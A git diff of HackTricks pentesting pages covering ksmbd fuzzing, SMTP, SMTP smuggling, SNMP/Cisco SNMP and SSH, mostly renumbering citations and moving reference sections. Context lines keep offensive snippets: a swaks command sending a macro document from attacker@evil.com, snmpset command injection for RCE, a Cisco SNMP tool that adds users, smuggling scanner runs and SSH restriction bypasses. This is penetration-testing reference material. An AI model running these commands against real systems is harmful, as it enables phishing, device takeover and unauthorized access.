+- KASAN remains the primary detector for heap bugs (UAF/OOB).<sup>[[8]](#references)</sup>
+- KCSAN often yields false positives or low-severity data races in this target.<sup>[[10]](#references)</sup>
+- UBSAN/KUBSAN can catch declared-bounds mistakes that KASAN misses due to array-index semantics. Example:<sup>[[9]](#references)</sup>
 
 ```c
 id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
@@ -277,7 +277,7 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
 
 ## Throughput and Parallelism Notes
 - A single fuzzer process (shared auth/state) tends to be significantly more stable for ksmbd and still surfaces races/UAFs thanks to syzkaller’s internal async executor.
-- With multiple VMs, you can still hit hundreds of SMB commands/second overall. Function-level coverage around ~60% of fs/smb/server and ~70% of smb2pdu.c is attainable, though state-transition coverage is under-represented by such metrics.
+- With multiple VMs, you can still hit hundreds of SMB commands/second overall. Function-level coverage around ~60% of fs/smb/server and ~70% of smb2pdu.c is attainable, though state-transition coverage is under-represented by such metrics.<sup>[[1]](#references)</sup>
 
 ---
 
@@ -287,26 +287,27 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
 - Build a stateful harness that caches SessionId/TreeID/FileIDs and chains create → ioctl → close.
 - Use a grammar for SMB2 PDUs to maintain structural validity.
 - Use focus_areas to overweight weakly-covered functions (e.g., smbacl.c paths like smb_check_perm_dacl).
-- Seed with ANYBLOB from real pcaps to break plateaus; pack seeds with syz-db for reuse.
+- Seed with ANYBLOB from real pcaps to break plateaus; pack seeds with syz-db for reuse.<sup>[[7]](#references)</sup>
 - Run with KASAN + UBSAN; triage UBSAN declared-bounds reports carefully.
 - Add compound-request sequences and multi-socket reconnects; mutate `NextCommand`, related-operation `SessionId`, `OutputBufferLength`, EA padding, and UTF-16 filename expansion boundaries.
 
 ---
 
 ## References
-- Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
-- syzkaller: https://github.com/google/syzkaller
-- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
-- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5
-- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db
-- KASAN: https://docs.kernel.org/dev-tools/kasan.html
-- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html
-- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
-- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
-- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
-- [Doyensec – ksmbd vulnerability research (Part 1)](https://blog.doyensec.com/2025/01/07/ksmbd-1.html)
-- Background reading: [pwning.tech – Tickling ksmbd: fuzzing SMB in the Linux kernel](https://pwning.tech/ksmbd-syzkaller/); Dongliang Mu’s syzkaller notes
-- ksmbd.conf(5): https://manpages.debian.org/unstable/ksmbd-tools/ksmbd.conf.5.en.html
-- syzkaller pseudo-syscalls: https://github.com/google/syzkaller/blob/master/docs/pseudo_syscalls.md
-
-{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
+
+- [1] [Doyensec – ksmbd Fuzzing (Part 2)](https://blog.doyensec.com/2025/09/02/ksmbd-2.html)
+- [2] [Doyensec – ksmbd vulnerability research (Part 1)](https://blog.doyensec.com/2025/01/07/ksmbd-1.html)
+- [3] [pwning.tech – Tickling ksmbd: fuzzing SMB in the Linux kernel](https://pwning.tech/ksmbd-syzkaller/)
+- [4] [syzkaller (GitHub repository)](https://github.com/google/syzkaller)
+- [5] [syzkaller ANYBLOB/anyTypes (commit 9fe8aa4)](https://github.com/google/syzkaller/commit/9fe8aa4)
+- [6] [syzkaller async executor change (commit fd8caa5)](https://github.com/google/syzkaller/commit/fd8caa5)
+- [7] [syz-db](https://github.com/google/syzkaller/tree/master/tools/syz-db)
+- [8] [KASAN documentation](https://docs.kernel.org/dev-tools/kasan.html)
+- [9] [UBSAN/KUBSAN documentation](https://docs.kernel.org/dev-tools/ubsan.html)
+- [10] [KCSAN documentation](https://docs.kernel.org/dev-tools/kcsan.html)
+- [11] [Microsoft Open Specifications (SMB)](https://learn.microsoft.com/openspecs/)
+- [12] [Wireshark Sample Captures](https://wiki.wireshark.org/SampleCaptures)
+- [13] [ksmbd.conf(5) manual page](https://manpages.debian.org/unstable/ksmbd-tools/ksmbd.conf.5.en.html)
+- [14] [syzkaller pseudo-syscalls documentation](https://github.com/google/syzkaller/blob/master/docs/pseudo_syscalls.md)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
index dc3fda01f8a..7159762a022 100644
--- a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
+++ b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@@ -76,8 +76,8 @@ done
 | enumdomgroups       | Enumerate domain groups                                                                                                                           |                                                                                                                                           |
 | createdomuser       | Create a domain user                                                                                                                              |                                                                                                                                           |
 | deletedomuser       | Delete a domain user                                                                                                                              |                                                                                                                                           |
-| lookupnames         | LSARPC                                                                                                                                            | Look up usernames to SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) values |
-| lookupsids          | Look up SIDs to usernames (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cycling) |                                                                                                                                           |
+| lookupnames         | LSARPC                                                                                                                                            | Look up usernames to SID values<sup>[[1]](#references)</sup> |
+| lookupsids          | Look up SIDs to usernames (RID cycling)<sup>[[1]](#references)</sup> |                                                                                                                                           |
 | lsaaddacctrights    | Add rights to a user account                                                                                                                      |                                                                                                                                           |
 | lsaremoveacctrights | Remove rights from a user account                                                                                                                 |                                                                                                                                           |
 | dsroledominfo       | LSARPC-DS                                                                                                                                         | Get primary domain information                                                                                                            |
@@ -85,8 +85,9 @@ done
 
 To **understand** better how the tools _**samrdump**_ **and** _**rpcdump**_ works you should read [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
 
+## References
 
-{{#include ../../banners/hacktricks-training.md}}
-
+- [1] [Network Security Assessment, 3rd Edition – Chapter 8 (O'Reilly)](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html)
 
+{{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md
index a5c9b1ebbd8..0a758740236 100644
--- a/src/network-services-pentesting/pentesting-smtp/README.md
+++ b/src/network-services-pentesting/pentesting-smtp/README.md
@@ -18,13 +18,13 @@ PORT   STATE SERVICE REASON  VERSION
 
 ## Email Security Gateways (SEGs)
 
-As mentioned in this [blog post](https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/) **Secure Email Gateways (SEGs)** sit **in-line** with inbound mail flow by **changing MX records** to point to the SEG instead of the mail server. The SEG inspects inbound mail (e.g., IP reputation, blocklists, SPF checks, spoofing detection, metadata/content analysis, sandboxing, URL rewriting) and then forwards, drops, or quarantines messages based on policy. The security model assumes **all inbound mail reaches the SEG first**; if the mail server can be reached directly, the SEG can be **avoided** (similar to skipping a WAF by talking to the origin directly).<sup>[[6]](#references)</sup>
+As mentioned in this [blog post](https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/) **Secure Email Gateways (SEGs)** sit **in-line** with inbound mail flow by **changing MX records** to point to the SEG instead of the mail server. The SEG inspects inbound mail (e.g., IP reputation, blocklists, SPF checks, spoofing detection, metadata/content analysis, sandboxing, URL rewriting) and then forwards, drops, or quarantines messages based on policy. The security model assumes **all inbound mail reaches the SEG first**; if the mail server can be reached directly, the SEG can be **avoided** (similar to skipping a WAF by talking to the origin directly).<sup>[[5]](#references)</sup>
 
 ### Avoiding SEGs via MX mismatch
 
 Organizations using Entra ID / Exchange Online often have **multiple accepted domains**. If **any accepted domain** has an MX record that **points directly to the mail server** (e.g., Exchange Online) instead of the SEG, you can deliver mail to that domain and **avoid the SEG**. This is a **misconfiguration** (not a vulnerability) but still a common gap.
 
-Also note the default `<tenant>.onmicrosoft.com` domain: its MX record always points to Exchange Online. If inbound to `*.onmicrosoft.com` is **not locked down**, sending to `user@<tenant>.onmicrosoft.com` may land directly in the inbox while bypassing the SEG.<sup>[[6]](#references)</sup>
+Also note the default `<tenant>.onmicrosoft.com` domain: its MX record always points to Exchange Online. If inbound to `*.onmicrosoft.com` is **not locked down**, sending to `user@<tenant>.onmicrosoft.com` may land directly in the inbox while bypassing the SEG.<sup>[[5]](#references)</sup>
 
 **Defensive notes**:
 
@@ -74,7 +74,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
 
 ### NTLM Auth - Information disclosure
 
-If the server supports NTLM auth (Windows) you can obtain sensitive info (versions). More info [**here**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).<sup>[[7]](#references)</sup>
+If the server supports NTLM auth (Windows) you can obtain sensitive info (versions). More info [**here**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).<sup>[[6]](#references)</sup>
 
 ```bash
 root@kali: telnet example.com 587
@@ -209,7 +209,7 @@ If you are manually typing in a message:
  swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
 ```
 
-When attaching files with `swaks`, use the `@` prefix so the file bytes are embedded instead of the literal filename string. This is critical for delivering macro documents:<sup>[[5]](#references)</sup>
+When attaching files with `swaks`, use the `@` prefix so the file bytes are embedded instead of the literal filename string. This is critical for delivering macro documents:<sup>[[4]](#references)</sup>
 
 ```bash
 swaks --to hr@example.local --from attacker@evil.com --header "Subject: Resume" --body "Please review" --attach @resume.doc --server 10.0.0.5
@@ -715,16 +715,6 @@ sendmail.cf
 submit.cf
 ```
 
-## References
-
-- [1] [XBOW – Dead.Letter (CVE-2026-45185): How XBOW Found an Unauthenticated RCE on Exim](https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim)
-- [2] [RFC 3030 – SMTP Service Extensions for Transmission of Large and Binary MIME Messages](https://datatracker.ietf.org/doc/html/rfc3030)
-- [3] [Username Enumeration Techniques and their Value](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
-- [4] [What could a hacker do with a misconfigured SMTP server?](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/)
-- [5] [0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM](https://0xdf.gitlab.io/2026/01/27/htb-jobtwo.html)
-- [6] [The Silent Inbox: How Verified Emails Slip Past Email Security Gateways](https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/)
-- [7] [Internal Information Disclosure using Hidden NTLM Authentication](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)
-
 ## HackTricks Automatic Commands
 
 ```
@@ -778,4 +768,14 @@ Entry_8:
 
 ```
 
+## References
+
+- [1] [XBOW – Dead.Letter (CVE-2026-45185): How XBOW Found an Unauthenticated RCE on Exim](https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim)
+- [2] [RFC 3030 – SMTP Service Extensions for Transmission of Large and Binary MIME Messages](https://datatracker.ietf.org/doc/html/rfc3030)
+- [3] [Username Enumeration Techniques and their Value](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
+- [4] [0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM](https://0xdf.gitlab.io/2026/01/27/htb-jobtwo.html)
+- [5] [The Silent Inbox: How Verified Emails Slip Past Email Security Gateways](https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/)
+- [6] [Internal Information Disclosure using Hidden NTLM Authentication](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)
+
+
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-smtp/smtp-commands.md b/src/network-services-pentesting/pentesting-smtp/smtp-commands.md
index 389a24b9517..19111966547 100644
--- a/src/network-services-pentesting/pentesting-smtp/smtp-commands.md
+++ b/src/network-services-pentesting/pentesting-smtp/smtp-commands.md
@@ -49,6 +49,3 @@ It terminates the SMTP conversation.
 - [1] [SMTP Commands](https://serversmtp.com/smtp-commands/)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md
index 57b5a945634..762599ff1c4 100644
--- a/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md
+++ b/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md
@@ -32,7 +32,7 @@ Also note that the SPF is bypassed because if you smuggle an email from `admin@o
 
 ## Attacker’s checklist (what conditions must hold?)
 
-To successfully smuggle a second email, you typically need:
+To successfully smuggle a second email, you typically need:<sup>[[1]](#references)</sup>
 
 - An outbound server A you can send through (often with valid creds) that will forward a non‑standard end‑of‑DATA sequence unchanged. Many services historically forwarded variants like `\n.\r\n` or `\n.\n`.
 - A receiving server B that will interpret that non‑standard sequence as end‑of‑DATA and then parse whatever follows as new SMTP commands (MAIL/RCPT/DATA...).
@@ -89,9 +89,9 @@ Tip: When testing interactively, ensure `-crlf` is used so OpenSSL preserves CRL
 
 ## Automation and scanners
 
-- hannob/smtpsmug: send a message ending with multiple malformed end‑of‑DATA sequences to see what a receiver accepts.
+- hannob/smtpsmug: send a message ending with multiple malformed end‑of‑DATA sequences to see what a receiver accepts.<sup>[[3]](#references)</sup>
   - Example: `./smtpsmug -s mail.target.com -p 25 -t victim@target.com`
-- The‑Login/SMTP‑Smuggling‑Tools: scanner for both inbound and outbound sides plus an analysis SMTP server to see exactly which sequences survive a sender.
+- The‑Login/SMTP‑Smuggling‑Tools: scanner for both inbound and outbound sides plus an analysis SMTP server to see exactly which sequences survive a sender.<sup>[[4]](#references)</sup>
   - Inbound quick check: `python3 smtp_smuggling_scanner.py victim@target.com`
   - Outbound via a relay: `python3 smtp_smuggling_scanner.py YOUR@ANALYSIS.DOMAIN --outbound-smtp-server smtp.relay.com --port 587 --starttls --sender-address you@relay.com --username you@relay.com --password '...'
 `
@@ -130,5 +130,7 @@ Use the scanners above to verify current behavior; many vendors changed defaults
 
 - [1] [SMTP Smuggling - Spoofing E-Mails Worldwide](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
 - [2] [Postfix - SMTP smuggling](https://www.postfix.org/smtp-smuggling.html)
+- [3] [hannob/smtpsmug - SMTP smuggling test tool](https://github.com/hannob/smtpsmug)
+- [4] [The-Login/SMTP-Smuggling-Tools](https://github.com/The-Login/SMTP-Smuggling-Tools)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md
index c5d399beea7..f18df6ecbaa 100644
--- a/src/network-services-pentesting/pentesting-snmp/README.md
+++ b/src/network-services-pentesting/pentesting-snmp/README.md
@@ -290,5 +290,3 @@ Entry_5:
 - [3] [SNMP Data Harvesting During Penetration Testing (Rapid7)](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md
index a79c23254f8..48c1c4d297e 100644
--- a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md
+++ b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md
@@ -24,7 +24,7 @@ hydra -P wordlist.txt -s 161 10.10.10.1 snmp
 For generic OID walking and broader enumeration, see [the main SNMP page](README.md). On Cisco gear, do not stop just because Nmap or Nessus fingerprints the service as `SNMPv3`: pentests routinely find v1/v2c communities and v3 users side by side.
 
 ### SNMPv3 targets are still worth attacking
-If the device only exposes SNMPv3, user enumeration and password guessing are still practical. Once you recover a **RW SNMPv3 user**, the same config-copy MIB can be abused to exfiltrate or merge configurations.
+If the device only exposes SNMPv3, user enumeration and password guessing are still practical. Once you recover a **RW SNMPv3 user**, the same config-copy MIB can be abused to exfiltrate or merge configurations.<sup>[[2]](#references)</sup>
 
 ```bash
 # Enumerate SNMPv3 usernames / guess passwords
@@ -67,9 +67,9 @@ snmpset -v2c -c private -m +CISCO-CONFIG-COPY-MIB 192.168.66.1 \
 ```
 Row identifiers are *one-shot*; reuse within five minutes triggers `inconsistentValue` errors.
 
-The important offensive detail is that **`networkFile -> runningConfig` merges** your file into the live configuration, while **`networkFile -> startupConfig` replaces NVRAM** and should only be used with a full config. That makes `runningConfig` the safer path if your goal is to add a local user, enable SSH, loosen `aaa`, or otherwise obtain a management foothold without clobbering the whole device.
+The important offensive detail is that **`networkFile -> runningConfig` merges** your file into the live configuration, while **`networkFile -> startupConfig` replaces NVRAM** and should only be used with a full config. That makes `runningConfig` the safer path if your goal is to add a local user, enable SSH, loosen `aaa`, or otherwise obtain a management foothold without clobbering the whole device.<sup>[[1]](#references)</sup>
 
-Recent tooling automates both the dump and the write-back workflow:
+Recent tooling automates both the dump and the write-back workflow:<sup>[[3]](#references)</sup>
 
 ```bash
 sudo cisco-snmp-pwner dump --listen 10.10.14.8 --target 192.168.66.1 \
@@ -84,7 +84,7 @@ sudo cisco-snmp-pwner add-user --listen 10.10.14.8 --target 192.168.66.1 \
 
 ### Metasploit goodies
 
-* **`cisco_config_tftp`** - downloads running-config/startup-config via TFTP after abusing the same MIB.
+* **`cisco_config_tftp`** - downloads running-config/startup-config via TFTP after abusing the same MIB.<sup>[[2]](#references)</sup>
 * **`snmp_enum`** - collects device inventory information, VLANs, interface descriptions, ARP tables, etc.
 
 ```bash
@@ -98,7 +98,7 @@ run
 ---
 
 ## Recent Cisco SNMP footguns and vulnerabilities (2024 - 2025)
-Keeping track of vendor advisories is useful to scope *zero-day-to-n-day* opportunities inside an engagement. The practical takeaway is that **RO communities and v3 users are still valuable**: they can turn into config theft, unauthorized polling from "blocked" sources, forced reloads, or even RCE if additional privilege is already in play.
+Keeping track of vendor advisories is useful to scope *zero-day-to-n-day* opportunities inside an engagement. The practical takeaway is that **RO communities and v3 users are still valuable**: they can turn into config theft, unauthorized polling from "blocked" sources, forced reloads, or even RCE if additional privilege is already in play.<sup>[[4]](#references)[[5]](#references)[[6]](#references)[[7]](#references)</sup>
 
 | Year | CVE | Affected feature | Offensive takeaway |
 |------|-----|------------------|--------------------|
@@ -119,8 +119,8 @@ Exploitability still depends on possessing the community string or v3 credential
   snmp-server group SECURE v3 priv
   snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
   ```
-* Bind SNMP to a management VRF and **restrict with standard named or numbered IPv4 ACLs only**. Do **not** rely on extended named IPv4 ACLs for SNMP (CVE-2024-20373).
-* If you use SNMPv3 user-level ACLs, validate the serialized `snmp-server user` line after save/reload. Long auth/priv/ACL combinations can exceed the 255-character limit and silently drop the ACL on reboot (CVE-2025-20151). On newer IOS XE releases, re-create those users with type 6 encryption.
+* Bind SNMP to a management VRF and **restrict with standard named or numbered IPv4 ACLs only**. Do **not** rely on extended named IPv4 ACLs for SNMP (CVE-2024-20373).<sup>[[7]](#references)</sup>
+* If you use SNMPv3 user-level ACLs, validate the serialized `snmp-server user` line after save/reload. Long auth/priv/ACL combinations can exceed the 255-character limit and silently drop the ACL on reboot (CVE-2025-20151). On newer IOS XE releases, re-create those users with type 6 encryption.<sup>[[6]](#references)</sup>
 * Disable **RW communities**; if operationally required, limit them with ACL and views:  
   `snmp-server community <string> RW 99 view SysView`
 * If patching lags behind the 2025 parser bugs, use an SNMP view to exclude the advisory-listed OIDs until the device can be upgraded.
@@ -135,5 +135,10 @@ Exploitability still depends on possessing the community string or v3 credential
 
 - [1] [Cisco: How To Copy Configurations To and From Cisco Devices Using SNMP](https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html)
 - [2] [TrustedSec: Cisco Hackery - How Cisco Configuration Files Can Help Attackers Enumerate Your Network](https://trustedsec.com/blog/cisco-hackery-configuration-file-download)
+- [3] [firefart/cisco-snmp-pwner - Tool to dump Cisco device configs via SNMP and/or add new users](https://github.com/firefart/cisco-snmp-pwner)
+- [4] [Cisco Security Advisory: Cisco IOS and IOS XE Software SNMP Denial of Service and Remote Code Execution Vulnerability (CVE-2025-20352)](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-snmp-x4LPhte)
+- [5] [Cisco Security Advisory: Cisco IOS, IOS XE, and IOS XR Software SNMP Denial of Service Vulnerabilities (CVE-2025-20169 to CVE-2025-20176)](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-snmp-dos-sdxnSUcW)
+- [6] [Cisco Security Advisory: Cisco IOS and IOS XE Software SNMPv3 Configuration Restriction Vulnerability (CVE-2025-20151)](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-snmpv3-qKEYvzsy)
+- [7] [Cisco Security Advisory: Cisco IOS and IOS XE Software SNMP IPv4 Access Control List Bypass Vulnerability (CVE-2024-20373)](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-snmp-uwBXfqww)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-snmp/snmp-rce.md b/src/network-services-pentesting/pentesting-snmp/snmp-rce.md
index 01594b5df94..f46994a0efc 100644
--- a/src/network-services-pentesting/pentesting-snmp/snmp-rce.md
+++ b/src/network-services-pentesting/pentesting-snmp/snmp-rce.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-SNMP can be exploited by an attacker if the administrator overlooks its default configuration on the device or server. By **abusing SNMP community with write permissions (rwcommunity)** on a Linux operating system, the attacker can execute commands on the server.
+SNMP can be exploited by an attacker if the administrator overlooks its default configuration on the device or server. By **abusing SNMP community with write permissions (rwcommunity)** on a Linux operating system, the attacker can execute commands on the server.<sup>[[2]](#references)</sup>
 
 This technique is mainly about **Net-SNMP** systems exposing **`NET-SNMP-EXTEND-MIB`** with a community/user allowed to **write** into the tree.
 
@@ -26,7 +26,7 @@ If local MIBs are missing, the extend subtree is under **`1.3.6.1.4.1.8072.1.3.2
 
 ## Extending Services with Additional Commands
 
-To extend SNMP services and add extra commands, it is possible to append new **rows to the `nsExtendObjects` table**. This can be achieved by using the `snmpset` command and providing the necessary parameters, including the absolute path to the executable and the command to be executed:
+To extend SNMP services and add extra commands, it is possible to append new **rows to the `nsExtendObjects` table**. This can be achieved by using the `snmpset` command and providing the necessary parameters, including the absolute path to the executable and the command to be executed:<sup>[[2]](#references)</sup>
 
 ```bash
 snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
@@ -39,7 +39,7 @@ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
 
 Injecting commands to run on the SNMP service requires the existence and executability of the called binary/script. The **`NET-SNMP-EXTEND-MIB`** mandates providing the absolute path to the executable.
 
-To confirm the execution of the injected command, the `snmpwalk` command can be used to enumerate the SNMP service. The **output will display the command and its associated details**, including the absolute path:
+To confirm the execution of the injected command, the `snmpwalk` command can be used to enumerate the SNMP service. The **output will display the command and its associated details**, including the absolute path:<sup>[[2]](#references)</sup>
 
 ```bash
 snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
@@ -47,7 +47,7 @@ snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
 
 ## Running the Injected Commands
 
-When the **injected command is read, it is executed**. This behavior is known as **`run-on-read()`**. The execution of the command can be observed during the `snmpwalk` read.
+When the **injected command is read, it is executed**. This behavior is known as **`run-on-read()`**. The execution of the command can be observed during the `snmpwalk` read.<sup>[[2]](#references)</sup>
 
 A practical pattern is to execute `/bin/sh` (or `/usr/bin/python3`) and pass the real payload in `nsExtendArgs`:
 
@@ -94,7 +94,7 @@ snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \
 
 ## Gaining Server Shell with SNMP
 
-To gain control over the server and obtain a server shell, a python script developed by mxrch can be utilized from [**https://github.com/mxrch/snmp-shell**](https://github.com/mxrch/snmp-shell).
+To gain control over the server and obtain a server shell, a python script developed by mxrch can be utilized from [**https://github.com/mxrch/snmp-shell**](https://github.com/mxrch/snmp-shell).<sup>[[2]](#references)</sup>
 
 Alternatively, a reverse shell can be manually created by injecting a specific command into SNMP. This command, triggered by the `snmpwalk`, establishes a reverse shell connection to the attacker's machine, enabling control over the victim machine.
 You can install the pre-requisite to run this:
@@ -130,11 +130,12 @@ msfconsole -q -x 'use exploit/linux/snmp/net_snmpd_rw_access; set RHOSTS <IP>; s
 
 ## Recent Real-World Example
 
-This is still a current attack path and not only an old lab trick. In **June 2024**, Pierre Kim documented **pre-authenticated root RCE** in multiple Toshiba MFP models because they exposed SNMP configuration with default communities (`public` for RO and `private` for RW), allowing the exact same **`NET-SNMP-EXTEND-MIB`** technique to run `/bin/sh -c id` and reverse shells remotely.<sup>[[2]](#references)</sup>
+This is still a current attack path and not only an old lab trick. In **June 2024**, Pierre Kim documented **pre-authenticated root RCE** in multiple Toshiba MFP models because they exposed SNMP configuration with default communities (`public` for RO and `private` for RW), allowing the exact same **`NET-SNMP-EXTEND-MIB`** technique to run `/bin/sh -c id` and reverse shells remotely.<sup>[[3]](#references)</sup>
 
 ## References
 
 - [1] [NET-SNMP-EXTEND-MIB definition](https://www.net-snmp.org/docs/mibs/NET-SNMP-EXTEND-MIB.txt)
-- [2] [Toshiba MFP: 40+ vulnerabilities (pre-auth root RCE via SNMP)](https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html)
+- [2] [Rio Asmara - SNMP Arbitrary Command Execution and Shell](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
+- [3] [Toshiba MFP: 40+ vulnerabilities (pre-auth root RCE via SNMP)](https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md
index e53b49195a7..756d10c532b 100644
--- a/src/network-services-pentesting/pentesting-ssh.md
+++ b/src/network-services-pentesting/pentesting-ssh.md
@@ -146,9 +146,9 @@ You should look here in order to search for valid keys for the victim machine.
 
 ### Kerberos / GSSAPI SSO
 
-If the target SSH server supports GSSAPI (for example Windows OpenSSH on a domain controller), you can authenticate using your Kerberos TGT instead of a password.<sup>[[5]](#references)</sup>
+If the target SSH server supports GSSAPI (for example Windows OpenSSH on a domain controller), you can authenticate using your Kerberos TGT instead of a password.<sup>[[3]](#references)</sup>
 
-Workflow from a Linux attacker host:<sup>[[5]](#references)</sup>
+Workflow from a Linux attacker host:<sup>[[3]](#references)</sup>
 
 ```bash
 # 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
@@ -167,7 +167,7 @@ ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
 ```
 
 Notes:
-- If you connect to the wrong name (e.g., short host, alias, or wrong order in `/etc/hosts`), you may get: "Server not found in Kerberos database" because the SPN does not match.<sup>[[5]](#references)</sup>
+- If you connect to the wrong name (e.g., short host, alias, or wrong order in `/etc/hosts`), you may get: "Server not found in Kerberos database" because the SPN does not match.<sup>[[3]](#references)</sup>
 - `crackmapexec ssh --kerberos` can also use your ccache for Kerberos auth.
 
 ## Default Credentials
@@ -237,7 +237,7 @@ It's common for SSH servers to allow root user login by default, which poses a s
 
 There is a common oversight occurs with SFTP setups, where administrators intend for users to exchange files without enabling remote shell access. Despite setting users with non-interactive shells (e.g., `/usr/bin/nologin`) and confining them to a specific directory, a security loophole remains. **Users can circumvent these restrictions** by requesting the execution of a command (like `/bin/bash`) immediately after logging in, before their designated non-interactive shell takes over. This allows for unauthorized command execution, undermining the intended security measures.
 
-[Example from here](https://community.turgensec.com/ssh-hacking-guide/):<sup>[[3]](#references)</sup>
+[Example from here](https://community.turgensec.com/ssh-hacking-guide/):<sup>[[2]](#references)</sup>
 
 ```bash
 ssh -v noraj@192.168.1.94 id
@@ -262,7 +262,7 @@ debug1: Exit status 0
 $ ssh noraj@192.168.1.94 /bin/bash
 ```
 
-Here is an example of secure SFTP configuration (`/etc/ssh/sshd_config` – openSSH) for the user `noraj`:<sup>[[3]](#references)</sup>
+Here is an example of secure SFTP configuration (`/etc/ssh/sshd_config` – openSSH) for the user `noraj`:<sup>[[2]](#references)</sup>
 
 ```
 Match User noraj
@@ -339,11 +339,11 @@ id_rsa
 
 ### CVE-2024-6387 – regreSSHion signal-handler race
 
-OpenSSH 8.5p1–9.7p1 removed the async-safe logging guard inside sshd’s `SIGALRM` handler, reintroducing CVE-2006-5051 and letting unauthenticated attackers corrupt the glibc heap as soon as `LoginGraceTime` expires. Qualys weaponized the bug for root RCE on 32-bit Linux and noted that 64-bit targets remain brute-forceable with enough grooming attempts, so prioritize hosts that still disclose those versions during banner grabs.<sup>[[6]](#references)</sup>
